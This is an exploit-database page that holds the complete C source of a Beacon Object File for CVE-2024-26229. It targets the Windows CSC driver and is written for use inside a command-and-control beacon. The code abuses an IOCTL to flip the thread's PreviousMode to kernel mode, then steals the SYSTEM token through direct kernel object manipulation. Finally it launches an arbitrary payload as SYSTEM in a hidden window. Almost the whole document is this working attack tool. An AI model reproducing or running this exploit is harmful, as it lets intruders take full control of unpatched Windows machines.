Exploit database

GH-12de70ab068ecc585ec744bcb4d26f42

0xgunrunner/cve-2024-26229-bof

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2024-26229

7 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3
0xgunrunner/cve-2024-26229-bofRevision b88b22d453b8

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

cve-2024-26229.c

C · 9,995 bytes
/**
 * cve-2024-26229.c — BOF
 * CSC driver LPE: IOCTL corrupts KTHREAD->PreviousMode, DKOM copies SYSTEM token
 * Based on RalfHacker/CVE-2024-26229-exploit, converted to BOF w/ DFR
 *
 * Target:  Windows 10 Build 19041+ (CSC driver enabled, Start=0x1)
 * Offsets: EPROCESS->Token = 0x4B8, KTHREAD->PreviousMode = 0x232
 *
 * Usage:   cve-2024-26229 <exe_path> [exe_args]
 * Example: cve-2024-26229 C:\Users\ryo.kato\Documents\procmon.exe "--munition-local C:\Users\ryo.kato\Documents\update-smb.bin"
 *
 * Compile: x86_64-w64-mingw32-gcc -c -o cve-2024-26229.o cve-2024-26229.c
 */

#include <windows.h>
#include <winternl.h>
#include <stdint.h>
#include "beacon.h"

/* ---- constants ---- */
#define EPROCESS_TOKEN_OFFSET           0x4B8
#define KTHREAD_PREVIOUS_MODE_OFFSET    0x232
#define CSC_DEV_FCB_XXX_CONTROL_FILE    0x001401a3
#define SYS_HANDLE_INFO_CLASS           0x10

/* ---- structs ---- */
typedef struct _SYS_HANDLE_ENTRY {
    USHORT UniqueProcessId;
    USHORT CreatorBackTraceIndex;
    UCHAR  ObjectTypeIndex;
    UCHAR  HandleAttributes;
    USHORT HandleValue;
    PVOID  Object;
    ULONG  GrantedAccess;
} SYS_HANDLE_ENTRY;

typedef struct _SYS_HANDLE_INFO {
    ULONG            NumberOfHandles;
    SYS_HANDLE_ENTRY Handles[1];
} SYS_HANDLE_INFO;

/* ---- DFR: KERNEL32 ---- */
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap(void);
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE, DWORD, SIZE_T);
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapReAlloc(HANDLE, DWORD, LPVOID, SIZE_T);
DECLSPEC_IMPORT BOOL   WINAPI KERNEL32$HeapFree(HANDLE, DWORD, LPVOID);
DECLSPEC_IMPORT DWORD  WINAPI KERNEL32$GetCurrentProcessId(void);
DECLSPEC_IMPORT DWORD  WINAPI KERNEL32$GetCurrentThreadId(void);
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenThread(DWORD, BOOL, DWORD);
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess(DWORD, BOOL, DWORD);
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentProcess(void);
DECLSPEC_IMPORT BOOL   WINAPI KERNEL32$CloseHandle(HANDLE);
DECLSPEC_IMPORT BOOL   WINAPI KERNEL32$CreateProcessA(LPCSTR, LPSTR,
                            LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES,
                            BOOL, DWORD, LPVOID, LPCSTR,
                            LPSTARTUPINFOA, LPPROCESS_INFORMATION);

/* ---- DFR: NTDLL ---- */
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtWriteVirtualMemory(
                            HANDLE, PVOID, PVOID, ULONG, PULONG);
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQuerySystemInformation(
                            SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG);
DECLSPEC_IMPORT VOID     NTAPI NTDLL$RtlInitUnicodeString(
                            PUNICODE_STRING, PCWSTR);
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtFsControlFile(
                            HANDLE, HANDLE, PIO_APC_ROUTINE, PVOID,
                            PIO_STATUS_BLOCK, ULONG, PVOID, ULONG,
                            PVOID, ULONG);
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtCreateFile(
                            PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES,
                            PIO_STATUS_BLOCK, PLARGE_INTEGER, ULONG,
                            ULONG, ULONG, ULONG, PVOID, ULONG);

/* ------------------------------------------------------------------ */
/*  GetObjPtr — walk SystemHandleInformation to resolve kernel addr   */
/* ------------------------------------------------------------------ */
int GetObjPtr(PULONG64 pOut, ULONG pid, HANDLE handle)
{
    SYS_HANDLE_INFO *pInfo = NULL;
    ULONG  ulBytes = 0;
    NTSTATUS st;
    int ret = -1;

    while ((st = NTDLL$NtQuerySystemInformation(
                (SYSTEM_INFORMATION_CLASS)SYS_HANDLE_INFO_CLASS,
                pInfo, ulBytes, &ulBytes)) == 0xC0000004L) /* STATUS_INFO_LENGTH_MISMATCH */
    {
        if (pInfo)
            pInfo = (SYS_HANDLE_INFO *)KERNEL32$HeapReAlloc(
                        KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY,
                        pInfo, (SIZE_T)2 * ulBytes);
        else
            pInfo = (SYS_HANDLE_INFO *)KERNEL32$HeapAlloc(
                        KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY,
                        (SIZE_T)2 * ulBytes);
        if (!pInfo) return -1;
    }

    if (st != 0) { ret = (int)st; goto done; }

    for (ULONG i = 0; i < pInfo->NumberOfHandles; i++) {
        if (pInfo->Handles[i].UniqueProcessId == (USHORT)pid &&
            pInfo->Handles[i].HandleValue == (USHORT)(ULONG_PTR)handle) {
            *pOut = (ULONG64)pInfo->Handles[i].Object;
            ret = 0;
            break;
        }
    }

done:
    if (pInfo) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, pInfo);
    return ret;
}

/* ------------------------------------------------------------------ */
/*  Write64 — NtWriteVirtualMemory wrapper (PreviousMode = KernelMode)*/
/* ------------------------------------------------------------------ */
NTSTATUS Write64(uintptr_t dst, uintptr_t src, size_t sz)
{
    ULONG written = 0;
    return NTDLL$NtWriteVirtualMemory(
                KERNEL32$GetCurrentProcess(),
                (PVOID)dst, (PVOID)src, (ULONG)sz, &written);
}

/* ------------------------------------------------------------------ */
/*  go — BOF entry                                                    */
/* ------------------------------------------------------------------ */
void go(char *args, int alen)
{
    datap parser;
    int   pathLen = 0, argsLen = 0;

    BeaconDataParse(&parser, args, alen);
    char *path  = BeaconDataExtract(&parser, &pathLen);
    char *pargs = BeaconDataExtract(&parser, &argsLen);

    if (!path || pathLen <= 1) {
        BeaconPrintf(CALLBACK_ERROR,
            "Usage: cve-2024-26229 <exe_path> [exe_args]\n"
            "  e.g. cve-2024-26229 C:\\loader.exe \"--munition-local C:\\payload.bin\"");
        return;
    }

    /* ---- open CSC device ---- */
    UNICODE_STRING    objName = {0};
    OBJECT_ATTRIBUTES objAttr = {0};
    IO_STATUS_BLOCK   iosb    = {0};
    HANDLE            hDev    = NULL;

    NTDLL$RtlInitUnicodeString(&objName, L"\\Device\\Mup\\;Csc\\.\\.");
    InitializeObjectAttributes(&objAttr, &objName, 0, NULL, NULL);

    NTSTATUS st = NTDLL$NtCreateFile(
                    &hDev, SYNCHRONIZE, &objAttr, &iosb, NULL,
                    FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF,
                    FILE_CREATE_TREE_CONNECTION, NULL, 0);
    if (!NT_SUCCESS(st)) {
        BeaconPrintf(CALLBACK_ERROR,
            "NtCreateFile failed: 0x%08x — CSC driver not available?", st);
        return;
    }

    /* ---- resolve kernel objects ---- */
    uintptr_t sysproc   = 0;
    uintptr_t curproc   = 0;
    uintptr_t curthread = 0;
    HANDLE    hThread   = NULL;
    HANDLE    hProc     = NULL;
    int       ret;

    /* System EPROCESS (PID 4, handle 4) */
    ret = GetObjPtr((PULONG64)&sysproc, 4, (HANDLE)4);
    if (ret) {
        BeaconPrintf(CALLBACK_ERROR, "Failed to resolve System EPROCESS");
        goto cleanup;
    }
    BeaconPrintf(CALLBACK_OUTPUT, "[+] System EPROCESS  = 0x%llx", sysproc);

    /* Current KTHREAD */
    hThread = KERNEL32$OpenThread(THREAD_QUERY_INFORMATION, TRUE,
                KERNEL32$GetCurrentThreadId());
    if (!hThread) {
        BeaconPrintf(CALLBACK_ERROR, "OpenThread failed");
        goto cleanup;
    }
    ret = GetObjPtr((PULONG64)&curthread,
                KERNEL32$GetCurrentProcessId(), hThread);
    if (ret) {
        BeaconPrintf(CALLBACK_ERROR, "Failed to resolve KTHREAD");
        goto cleanup;
    }
    BeaconPrintf(CALLBACK_OUTPUT, "[+] Current KTHREAD  = 0x%llx", curthread);

    /* Current EPROCESS */
    hProc = KERNEL32$OpenProcess(PROCESS_QUERY_INFORMATION, TRUE,
                KERNEL32$GetCurrentProcessId());
    if (!hProc) {
        BeaconPrintf(CALLBACK_ERROR, "OpenProcess failed");
        goto cleanup;
    }
    ret = GetObjPtr((PULONG64)&curproc,
                KERNEL32$GetCurrentProcessId(), hProc);
    if (ret) {
        BeaconPrintf(CALLBACK_ERROR, "Failed to resolve current EPROCESS");
        goto cleanup;
    }
    BeaconPrintf(CALLBACK_OUTPUT, "[+] Current EPROCESS = 0x%llx", curproc);

    /* ---- trigger: IOCTL corrupts PreviousMode to KernelMode ---- */
    st = NTDLL$NtFsControlFile(
            hDev, NULL, NULL, NULL, &iosb,
            CSC_DEV_FCB_XXX_CONTROL_FILE,
            (void *)(curthread + KTHREAD_PREVIOUS_MODE_OFFSET - 0x18),
            0, NULL, 0);
    if (!NT_SUCCESS(st)) {
        BeaconPrintf(CALLBACK_ERROR, "NtFsControlFile failed: 0x%08x", st);
        goto cleanup;
    }

    /* ---- DKOM: copy SYSTEM token to current process ---- */
    BeaconPrintf(CALLBACK_OUTPUT, "[!] DKOM: overwriting EPROCESS->Token");
    Write64(curproc   + EPROCESS_TOKEN_OFFSET,
            sysproc   + EPROCESS_TOKEN_OFFSET, 0x8);

    /* restore PreviousMode to UserMode */
    uint8_t mode = 1;
    Write64(curthread + KTHREAD_PREVIOUS_MODE_OFFSET,
            (uintptr_t)&mode, 0x1);

    BeaconPrintf(CALLBACK_OUTPUT,
        "[+] Token replaced -- beacon process is now SYSTEM");

    /* ---- spawn payload as SYSTEM ---- */
    char cmdline[1024];
    int  ci = 0;

    for (int j = 0; path[j] && ci < 1020; j++)
        cmdline[ci++] = path[j];

    if (pargs && argsLen > 1) {
        cmdline[ci++] = ' ';
        for (int j = 0; pargs[j] && ci < 1023; j++)
            cmdline[ci++] = pargs[j];
    }
    cmdline[ci] = '\0';

    STARTUPINFOA        si = {0};
    PROCESS_INFORMATION pi = {0};
    si.cb = sizeof(si);

    if (KERNEL32$CreateProcessA(NULL, cmdline, NULL, NULL, FALSE,
            CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
        BeaconPrintf(CALLBACK_OUTPUT,
            "[+] Spawned PID %d as SYSTEM: %s", pi.dwProcessId, cmdline);
        KERNEL32$CloseHandle(pi.hProcess);
        KERNEL32$CloseHandle(pi.hThread);
    } else {
        BeaconPrintf(CALLBACK_ERROR, "CreateProcessA failed: %s", cmdline);
    }

cleanup:
    if (hDev)    KERNEL32$CloseHandle(hDev);
    if (hThread) KERNEL32$CloseHandle(hThread);
    if (hProc)   KERNEL32$CloseHandle(hProc);
}